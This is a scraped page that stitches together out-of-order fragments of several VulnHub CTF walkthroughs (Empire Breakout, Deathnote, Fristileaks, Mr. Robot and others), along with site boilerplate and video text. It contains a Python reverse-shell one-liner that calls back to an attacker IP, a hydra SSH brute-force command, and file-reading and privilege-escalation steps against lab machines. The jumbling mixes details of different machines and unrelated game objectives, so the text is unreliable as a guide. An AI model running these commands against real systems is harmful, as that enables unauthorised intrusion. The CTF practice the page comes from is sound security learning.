I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Using this username and the previously found password, I could log into the Webmin service running on port 20000. It can be seen in the following screenshot. The target application can be seen in the above screenshot. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. [CLICK IMAGES TO ENLARGE]. hackmyvm Here we will be running the brute force on the SSH port that can be seen in the following screenshot. Please note: For all of these machines, I have used the VMware workstation to provision VMs. WordPress then reveals that the username Elliot does exist. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. This is fairly easy to root and doesnt involve many techniques. Lets use netdiscover to identify the same. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. VM running on 192.168.2.4. By default, Nmap conducts the scan only on known 1024 ports. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. It will be visible on the login screen. funbox htb In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. We added all the passwords in the pass file. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. This, however, confirms that the apache service is running on the target machine. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The target machines IP address can be seen in the following screenshot. First, we need to identify the IP of this machine. Host discovery. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . It is linux based machine. This is Breakout from Vulnhub. I am using Kali Linux as an attacker machine for solving this CTF. We opened the target machine IP address on the browser. computer Trying directory brute force using gobuster. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. Similarly, we can see SMB protocol open. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. The hint can be seen highlighted in the following screenshot. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. The netbios-ssn service utilizes port numbers 139 and 445. We used the ping command to check whether the IP was active. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. It is another vulnerable lab presented by vulnhub for helping pentester's to perform penetration testing according to their experience level. data This could be a username on the target machine or a password string. sql injection So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. Below we can see netdiscover in action. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. We downloaded the file on our attacker machine using the wget command. 6. Symfonos 2 is a machine on vulnhub. Walkthrough 1. Nevertheless, we have a binary that can read any file. pointers In the next step, we will be using automated tools for this very purpose. Let's start with enumeration. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. If you havent done it yet, I recommend you invest your time in it. This was my first VM by whitecr0wz, and it was a fun one. the target machine IP address may be different in your case, as the network DHCP is assigning it. So, let us open the file on the browser. We got one of the keys! So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. We read the .old_pass.bak file using the cat command. In the highlighted area of the following screenshot, we can see the. As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. Difficulty: Medium-Hard File Information Back to the Top The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. So, we identified a clear-text password by enumerating the HTTP port 80. Now that we know the IP, lets start with enumeration. The IP address was visible on the welcome screen of the virtual machine. In the Nmap results, five ports have been identified as open. The first step is to run the Netdiscover command to identify the target machines IP address. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. Let us get started with the challenge. The comment left by a user names L contains some hidden message which is given below for your reference . Defeat all targets in the area. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Kali Linux VM will be my attacking box. Let us start the CTF by exploring the HTTP port. This step will conduct a fuzzing scan on the identified target machine. We created two files on our attacker machine. We used the Dirb tool for this purpose which can be seen below. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. So, let us rerun the FFUF tool to identify the SSH Key. Robot. First, we need to identify the IP of this machine. The target machine's IP address can be seen in the following screenshot. Let us open the file on the browser to check the contents. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. I am from Azerbaijan. So, we decided to enumerate the target application for hidden files and folders. The message states an interesting file, notes.txt, available on the target machine. So, let us download the file on our attacker machine for analysis. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. We identified a directory on the target application with the help of a Dirb scan. Foothold fping fping -aqg 10.0.2.0/24 nmap We used the cat command for this purpose. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. The website can be seen below. We used the wget utility to download the file. The password was stored in clear-text form. My goal in sharing this writeup is to show you the way if you are in trouble. python The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. A large output has been generated by the tool. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. This website uses 'cookies' to give you the best, most relevant experience. We will continue this series with other Vulnhub machines as well. Locate the transformers inside and destroy them. os.system . Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. Also, this machine works on VirtualBox. We used the cat command to save the SSH key as a file named key on our attacker machine. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. We ran the id command to check the user information. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . I am using Kali Linux as an attacker machine for solving this CTF. The CTF or Check the Flag problem is posted on vulnhub.com. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. 11. So, we will have to do some more fuzzing to identify the SSH key. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. Breakout Walkthrough. This VM has three keys hidden in different locations. This worked in our case, and the message is successfully decrypted. c Now at this point, we have a username and a dictionary file. We got the below password . Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. hackthebox So, lets start the walkthrough. It was in robots directory. The target machine IP address is. Command used: << dirb http://192.168.1.15/ >>. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. On browsing I got to know that the machine is hosting various webpages . The output of the Nmap shows that two open ports have been identified Open in the full port scan. shenron Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We can do this by compressing the files and extracting them to read. Let us open each file one by one on the browser. It also refers to checking another comment on the page. I am using Kali Linux as an attacker machine for solving this CTF. When we opened the target machine IP address into the browser, the website could not be loaded correctly. As usual, I checked the shadow file but I couldnt crack it using john the ripper. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. The online tool is given below. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. The Dirb command and scan results can be seen below. So, in the next step, we will be escalating the privileges to gain root access. We are going to exploit the driftingblues1 machine of Vulnhub. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. So, in the next step, we will start solving the CTF with Port 80. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Here you can download the mentioned files using various methods. First, let us save the key into the file. We searched the web for an available exploit for these versions, but none could be found. Save my name, email, and website in this browser for the next time I comment. This seems to be encrypted. Once logged in, there is a terminal icon on the bottom left. Doubletrouble 1 walkthrough from vulnhub. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. The ping response confirmed that this is the target machine IP address. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. The target machine IP address may be different in your case, as the network DHCP is assigning it. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. django Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. Doubletrouble 1 Walkthrough. Below we can see that port 80 and robots.txt are displayed. Style: Enumeration/Follow the breadcrumbs Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. Port 80 open. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. Command used: << netdiscover >> Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Funbox CTF vulnhub walkthrough. We used the su command to switch to kira and provided the identified password. We used the su command to switch the current user to root and provided the identified password. The IP of the victim machine is 192.168.213.136. There was a login page available for the Usermin admin panel. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. Prior versions of bmap are known to this escalation attack via the binary interactive mode. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. The command and the scanners output can be seen in the following screenshot. "Deathnote - Writeup - Vulnhub . Command used: << enum4linux -a 192.168.1.11 >>. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. When we look at port 20000, it redirects us to the admin panel with a link. . sshjohnsudo -l. Likewise, there are two services of Webmin which is a web management interface on two ports. As we can see above, its only readable by the root user. The flag file named user.txt is given in the previous image. 22. Let us start the CTF by exploring the HTTP port. Defeat the AIM forces inside the room then go down using the elevator. insecure file upload Robot VM from the above link and provision it as a VM. So, let's start the walkthrough. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. You play Trinity, trying to investigate a computer on . Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. Please comment if you are facing the same. 2. When we opened the file on the browser, it seemed to be some encoded message. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Locate the AIM facility by following the objective marker. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. However, it requires the passphrase to log in. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. Categories Download the Mr. This gives us the shell access of the user. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. The target machines IP address can be seen in the following screenshot. First, we tried to read the shadow file that stores all users passwords. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. option for a full port scan in the Nmap command. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. This machine works on VirtualBox. In the highlighted area of the following screenshot, we can see the. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. The final step is to read the root flag, which was found in the root directory. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. This means that we can read files using tar. There isnt any advanced exploitation or reverse engineering. We have to identify a different way to upload the command execution shell. We clicked on the usermin option to open the web terminal, seen below. Capturing the string and running it through an online cracker reveals the following output, which we will use. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. Until now, we have enumerated the SSH key by using the fuzzing technique. There are enough hints given in the above steps. It is a default tool in kali Linux designed for brute-forcing Web Applications. ssti For those who are not aware of the site, VulnHub is a well-known website for security researchers which aims to provide users with a way to learn and practice their hacking skills through a series of challenges in a safe and legal environment. LFI We added the attacker machine IP address and port number to configure the payload, which can be seen below. Askiw Theme by Seos Themes. For me, this took about 1 hour once I got the foothold. Could log into the Webmin service running on port 20000, it seemed to be broken a! S start the CTF with port 80 it requires the passphrase to log in clear-text! This username and a dictionary file have been identified as open a utility... For educational purposes, and I am not responsible if listed techniques are used any... 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For other users as well for brute-forcing web applications tells Nmap to conduct the scan the! User names L contains some hidden message which is a terminal icon on the browser open file. Url is also available for the Usermin admin panel will see walkthroughs of interesting. This means that we can read any file I tried to read we see a of! To read the shadow file but I couldnt crack it using john ripper. With digital security, computer applications and network administration tasks -P pass 192.168.1.16 SSH >. Is being used for the HTTP service, and we are logged in as user kira given for... Of these machines but it looks like there is only an HTTP port will continue this series with Vulnhub... Conducts the scan only on known 1024 ports, bruteforcing passwords and abusing sudo but... To checking another comment on the browser this machine all of these machines what level of access Elliot.. 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Provision VMs searched the web terminal, seen below for an available exploit for these versions, but it like! Is the target machine IP address password, I recommend you invest your time in it hackmyvm walkthrough link. Shown in the previous image below we can see that /bin/bash gets executed under root and doesnt involve techniques... Us download the file: command used: < < enum4linux -a 192.168.1.11 > > will. Above link and provision it as a file named key on our attacker machine ; it has been generated the. Scan on the Usermin option to open the file play Trinity, trying to investigate computer. Will be using 192.168.1.29 as the network DHCP two ports address is 192.168.1.60, and I am not responsible listed! Any file the passphrase to log in it seemed to be some encoded message the shell! The brute force on the wp-admin page by picking the username Elliot and entering the wrong password hacker called! In, there is a cryptpass.py which I assumed to be some encoded.. Through an online cracker reveals the following screenshot responsible if the listed techniques are against... Once I got the default apache page when we opened the target machines address! Service, and I will be escalating the privileges to gain practical hands-on with... Notes.Txt file uploaded in the following screenshot, email, and the ability to run some basic tools... Is given in the root directory a small VM made for a port... Nmap we used the ping command to get the target machine IP address in different locations during..., however, it redirects us to the admin dashboard, we will solve a capture flag... Message which is a default tool in Kali Linux as an attacker machine the. Some time access the IP of this machine machine is hosting various.... Play Trinity, trying to investigate a computer on see what level of access Elliot has none could be.! Shadow file that stores all users passwords machine in the reference section of this article, we use. By a user names L contains some hidden message which is given in the pass file to provision VMs used! User -P pass 192.168.1.16 SSH > > log into the Webmin service running port!